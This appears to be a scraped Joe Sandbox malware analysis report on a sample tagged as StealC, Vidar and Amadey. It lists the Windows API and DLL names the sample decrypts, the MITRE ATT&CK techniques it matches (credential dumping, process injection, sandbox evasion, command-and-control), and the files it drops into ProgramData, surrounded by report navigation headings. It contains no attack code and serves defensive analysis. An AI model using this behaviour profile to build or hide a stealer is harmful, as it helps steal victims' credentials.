Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetVolumeInformationA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: Process32First
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetLocaleInfoA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetModuleFileNameA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: DeleteFileA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: FindNextFileA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: LocalFree
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: FindClose
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: LocalAlloc
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetFileSizeEx
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: ReadFile
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: SetFilePointer
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: WriteFile
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: CreateFileA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: FindFirstFileA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: CopyFileA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: VirtualProtect
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetLastError
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: lstrcpynA
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: MultiByteToWideChar
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GlobalFree
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: WideCharToMultiByte
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GlobalAlloc
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: OpenProcess
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: TerminateProcess
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: GetCurrentProcessId
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: gdiplus.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: ole32.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: bcrypt.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: wininet.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: shlwapi.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: shell32.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: psapi.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: rstrtmgr.dll
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: SelectObject
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: BitBlt
Source: 12.2.2e80f9dd27.exe.b00000.0.unpack	String decryptor: DeleteObject

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CFIEBKEHCAKFCBFIDAAKJDAAFC

C:\ProgramData\DAFIEHIEGDHIDGDGHDHJ

C:\ProgramData\DGDBAKKJKKECGDGCAECA

C:\ProgramData\EGIDAFBA

C:\ProgramData\EGIDAFBAEBKKEBFIJEBKJKJJDA

C:\ProgramData\HCFIJKKKKKFCAAAAFBKF

C:\ProgramData\HDHCGHDHIDHCBGCBGCAEBAKEHC

C:\ProgramData\IJDHCBGH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre